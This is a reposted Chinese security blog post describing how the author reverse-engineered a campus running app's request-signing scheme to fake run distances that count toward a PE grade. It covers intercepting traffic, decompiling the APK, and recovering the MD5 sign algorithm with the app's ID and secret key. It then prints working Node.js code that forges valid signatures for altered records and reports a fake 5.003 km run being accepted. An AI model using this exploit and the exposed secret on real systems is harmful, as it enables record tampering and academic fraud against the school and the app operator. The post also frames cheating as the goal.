文章转载自大佬文章,非原创。
原创地址https://forum.butian.net/share/843,并感谢J0o1ey大佬的支持
同时感谢志同道合的J0o1ey技术大佬,对我文章的帮助与指点

前言:本期登场的目标虽不是SRC,但是整个漏洞的利用手法很有学习意义。目前在很多大厂的http数据包中都会添加sign值对数据包是否被篡改进行校验,而sign算法的破解往往是我们漏洞测试的关键所在~
本人在一些漏洞挖掘实战中经常发现在破解sign值后,在测试各类越权,重放等漏洞时一马平川,今天特此为大家带来这样一个精彩的实战案例。

1、 背景

学校每学期的体育成绩中会有10%来源于某跑步APP的打卡数据,本人作为一个体测只能勉强及格的废物,自然得想办法拿到这10分,以防挂科
无奈这个app后台设置的是每学期男生总共要求跑120公里才能完整地拿到10分,非常恶心。一学期跑120公里,你还不如鲨了我,于是便有了此文对于其app的crack

2、 初步测试

手机装好https证书,挂好Burpsuite的代理,随后我们直接去抓取该APP上传校园跑步数据时的请求

请求如下

我们发现单次跑步距离对应的POST参数为FormatSportRange,自然二话不说对其进行修改,将0.000修改为5.000
此时悲剧发生了,直接提示认证失败~
定神细看,发现POST数据末尾有sign签名….

此时老开发或老安全肯定就知道发生甚么事了,为了让本文对新手友好一些,下面简单讲一下sign校验手法

3 、何为Sign签名校验?

Sign签名校验法本质上是对客户端传输数据合法性的一种校验手段
其常用手法为,在用户客户端传输的数据中额外加上时间戳以及特殊字符,随后一起得出整体数据的加密值(常用MD5,SHA1等加密算法)
这就导致了用户在不知晓程序的原始数据生成sign值的方法情况下,若对传输到服务端的数据进行篡改,在后端都会鉴权失败,导致用户篡改后的数据无效。

4、 sign值的安全对抗方法

针对有sign签名值的数据包,本人常用的测试手法有两个:
1.检测sign值是否为弱凭据
2.检测sign值是否可以置空
第一种类型通常有两种情况
①看sign值是否采用了一些弱加密/编码方法(例如base64),我们解码后可以直接看到sign的原始数据。
②测试sign值是否为时间戳/随机数加密后的密文值,在一些实战情况中,很多厂商安全开发意识不足,会将sign值的算法直接暴露在前端未加密的js中,或者直接将用户进行某操作的时间戳进行md5加密后作为sign凭据,导致sign凭据在一段时间内可以通过遍历时间戳进行猜解
第二种类型就比较好理解,我们直接将sign参数以及值删掉,看后端程序是否可以不校验sign直接执行我们传输的数据
上述概念可能看起来比较抽象,下面我们继续来看本案例

5、 二次测试

我们先尝试第一种方法,上方添加跑步记录获取到的sign值为5ded7f11f080fb5a9d403c9d0963ebaa
拿眼一看,大概率sign值是使用md5加密的,我们随后对其进行解密

GG了,看样厂商的安全意识不算太差~没有使用时间戳或者随机数加密后的值作为sign,导致sign可以被无脑遍历猜解
随后我们尝试第二种方法,置空sign值

发现依然鉴权认证失败,gg了。
看样两种常规的对抗sign的方法已经废了,我们只能从app下手了,逆向尝试去寻找其sign的算法

6、 逆向apk文件取得其sign值算法

拿到程序apk直接查壳,运气不错,apk没加壳,省了不少功夫

直接将apk文件拖到jadx中,对其进行逆向分析

全局搜素sign,在仔细挨个查看后,成功定位到了其sign生成的关键算法

代码过长,关键部分代码如下


可以看到,其sign值的签名算法为
创建一个链表, 将全部已有的参数加入进去, 然后再加上一些键值对(其中timestamp时间戳我们已知,appID,appSecret两个键值对我们均未知)
之后再将全部的键值对根据键的字母顺序进行排序, 之后使用 querystring 方式对键值对进行编码.
最后再对编码后的字符串求 MD5 值, 就是最终的签名了, 麻烦的一比

7、 继续逆向apk文件获取未知键值对

我们继续来找appID,appSecret两个我们未知的键值对
发现其获取方法如下

①appID键值对的获取方法:
如果请求的url是 https://m.xxxxx.com 则为move,否则调用getAppId方法
后面我搜索了一下getAppId方法,发现其本质上是获取某接口openId的参数值,随后赋值给AppID
我去burpsuite走了一遍这个apk的业务,然后去http history搜索了一下openId,直接获取到了我们学校的openId参数值,也就是说我们获取到了AppID

②appSceret键值对获取方法
在jadx中提示appSecre键t对应的值来源于g.b,我们在import的包中成功找到了g.b(即appSecret)

8、 Nodejs编写计算sign的Exploit

sign的算法已经有了,未知的键值对我们也拿到了,下面就是直接编写计算sign的exploit的时刻啦~
我们选择用nodejs来还原整个sign的加密算法(注意,我们将formatSportRange跑步距离改为了5.003)

var parseQueryString = function( url ){var reg_url =/^[^\?]+\?([\w\W]+)$/,reg_para=/([^&=]+)=([\w\W]*?)(&|$)/g, //g is very importantarr_url = reg_url.exec( url ),ret        = {};if( arr_url && arr_url[1] ){var str_para = arr_url[1],result;while((result = reg_para.exec(str_para)) != null){ret[result[1]] = result[2];}}return ret;
}
var url ="www.xxx.com/index.php?userId=34263&runType=2&startTime=1635573372448&endTime=1635573425940&gitudeLatitude=%5B%7B%22latitude%22%3A34.383468%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976148%2C%22puase%22%3Afalse%2C%22speed%22%3A0.0%2C%22time%22%3A1635573372480%7D%2C%7B%22latitude%22%3A34.383484%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A0.0%2C%22time%22%3A1635573373314%7D%2C%7B%22latitude%22%3A34.383489%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573378344%7D%2C%7B%22latitude%22%3A34.383408%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976193%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573398400%7D%2C%7B%22latitude%22%3A34.383479%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976152%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573418403%7D%5D&identify=12cc1557-f226-4d19-a01f-58f492620818&formatSportTime=00%3A00%3A01&formatSportRange=5.003&avgspeed=0.0&speed=0%270%22&okPointList=%5B%5D&brand=Xiaomi&model=Mi%2010&system=Android&version=10&appVersion=1.5.73&stepNumbers=%5B0%5D&isFaceStatus=0&points=%5B%5D&uploadType=0&timestamp=1635573451940";
var obj = parseQueryString(url);
//console.log(obj)   //querystring序列化
const crypto = require('crypto')
const APP_ID = "ec74df4f7ea14f1fb585bbc9f936fc23"
const data = obj
console.log(data)
const timestamp = '1635573451940'
function ff(data, timestamp, appId = APP_ID){const d = { ...data, appId, timestamp: '1634356066432',appSecret: 'e8167ef026cbc5e456ab837d9d6d9254' }const ans = crypto.createHash('md5').update(Object.keys(d).sort().map(k => k + '=' + d[k]).join('&')).digest('hex')console.log("sign is",ans)
}
ff(data, timestamp, APP_ID)


大功告成,我们成功序列化queryString后计算出了sign值,我们现在可以篡改任意数据并根据算法生成伪造的sign值

9 、测试

我们将原来的formatSportRange跑步距离改为了从0.000修改为5.003,并使用程序生成的sign值

如图,大功告成,跑步记录保存成功,我们成功使用伪造的sign签名增加了一条5.003 km的跑步记录
返回app查看~

nice!

10、 后言

遇到可能的漏洞点莫要轻言放弃,再坚持一下,曙光就在前方~

免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

APP渗透技巧----------逆向app破解数据包sign值实现任意数据重放添加相关推荐

  1. 重生之我是赏金猎人(二)-逆向app破解数据包sign值实现任意数据重放添加

    0x00 项目背景 该系列旨在分享自己和团队在SRC.项目实战漏洞测试过程中的有趣案例,如果读者能从本项目习得一些有用的知识,那么笔者将非常荣幸. 该系列首发github:https://github ...

  2. 重生之我是赏金猎人-SRC漏洞挖掘(二)-逆向app破解数据包sign值实现任意数据重放添加

    0x00前言 本期登场的目标虽不是SRC,但是整个漏洞的利用手法很有学习意义.目前在很多大厂的http数据包中都会添加sign值对数据包是否被篡改进行校验,而sign算法的破解往往是我们漏洞测试的关键 ...

  3. LoRa节点开发:5、代码详解LoRaWAN中的几种数据包(发送与接收数据)

    本文来源微信公众号[物联网思考] 本文主要结合LoRaNode SDK v4.4.2和LoRaWAN规范1.0.3来展开. 1.数据包类型 LoRaWAN规范中有不同的数据包,通过MType字段区分, ...

  4. python拦截tcp数据包,使用python解码TCP数据包

    我正在尝试解码通过TCP连接接收到的数据.数据包很小,不超过100字节.然而,当它们很多的时候,我会收到一些连接在一起的包.有没有办法防止这种情况发生?我用的是蟒蛇 我已经尝试分离数据包,我的来源在下 ...

  5. 数据包覆盖Android,安卓数据包怎么安装 安卓游戏数据包安装教程

    安卓数据包怎么安装?安卓数据包放在哪?这是很多安卓单机游戏爱好者经常问的问题,下面小编就为各位玩家带来:安卓游戏数据包安装教程,诸如数据包存放好后,为什么还是不能正常玩都能为您解答~ 安卓数据包怎么安 ...

  6. android app 渗透测试,android app渗透测试方法大全.pdf

    Android APP 渗透测试方法大全 by backlion 一.Android APP 渗透测试方法 1.测试环境 SDK : J a JDK , Android SDK. 工具: 7zip, ...

  7. 微信数据包解析 php,微信交互数据包分析 - 新手入门及其它(软件) - 恩山无线论坛 - Powered by Discuz!...

    本帖最后由 derry 于 2019-3-7 23:30 编辑 微信启动后,主要建立以下连接: 1.      建立tcp长链接 端口号:80.443.8080中的一个(微信重启后会切换端口). 2. ...

  8. 狂野飙车8服务器在哪个文件夹,狂野飙车8数据包放哪?安卓版数据包路径介绍

    狂野飙车8也算是目前安卓平台上最好玩的赛车游戏之一了,还有另外一款则是极品飞车.不过很多新手们,不知道狂野飙车8数据包放哪,其实很简单,下面就详细介绍下数据包的放置路径,还不知道如何放置的可以来看看, ...

  9. linux如何查看丢弃数据包,导致Linux服务器丢弃数据包?

    我们使用Linux作为服务器操作系统时,为了达到高并发处理能力,充分利用机器性能,经常会进行一些内核参数的调整优化,但不合理的调整常常也会引起意想不到的其他问题,本文就一次Linux服务器丢包故障的处 ...

  10. exagear Pro wine3.0和wine4.0数据包,exagear国外版数据包下载

    这是来自油管大神Tech Bravo大神的Exagear PRO数据包 目前按wine版本分3.0和4.7: 下载地址:寄几补充前缀s/12npcHIRh2TfKbAMqrm22mQ,取件码tjgg ...

最新文章

  1. npm包开发测试与发布
  2. 安装Team Services Agent Win7
  3. spring_在运行时更新代码(已Spring解密)
  4. win7实用技巧之十——卷影副本
  5. 三十二、深入Python中的文件操作
  6. 四大浏览器再战Windows平台:Opera勇夺第一
  7. AndroidStudio开发环境安装及配置
  8. ubuntu12.04安装翻译软件stardict及卸载
  9. 2016中国大学生程序设计竞赛(长春)
  10. 空格在科技类文章中对阅读体验的影响
  11. ansi编码转换器安卓版_ANSI Converter-ANSI码转换器
  12. 单片机毕业设计 stm32智能扫地机器人
  13. 洛谷 P2015 二叉苹果树 题解
  14. fsdb和vpd格式波形生成并查看
  15. python 游戏辅助脚本,python写游戏脚本辅助作范文
  16. 蓝桥杯官网 试题 PREV-240 历届真题 答疑【第十一届】【决赛】【研究生组】【C++】【C】【Java】【Python】四种解法
  17. spaceclaim简单建模
  18. 大三考研期间能不能参加蓝桥杯?
  19. win7系统修复工具_win7系统如何修复启动项 win7系统启动项修复步骤【图文】
  20. win11怎么查看隐藏文件

热门文章

  1. 不足40M的WPS极限精简版,便携性拉满,老电脑福音
  2. LM2596、LM2576
  3. ppt thinkcell-Thinkcell: 一款强大的专业图表制作工具
  4. 取石子游戏,威佐夫博弈的推理
  5. 10分钟学会如何通过问卷调查赚钱
  6. spss数据分析_排序数据_计算变量
  7. 打印预览和实际的打印不一致问题
  8. m2接口和nvme协议接口_B85主板有M.2接口吗?支持NVMe协议吗?
  9. 小米miui全机型代码对照与各机型发布时间表 了解小米机型发展历程
  10. redis列表list常用命令大全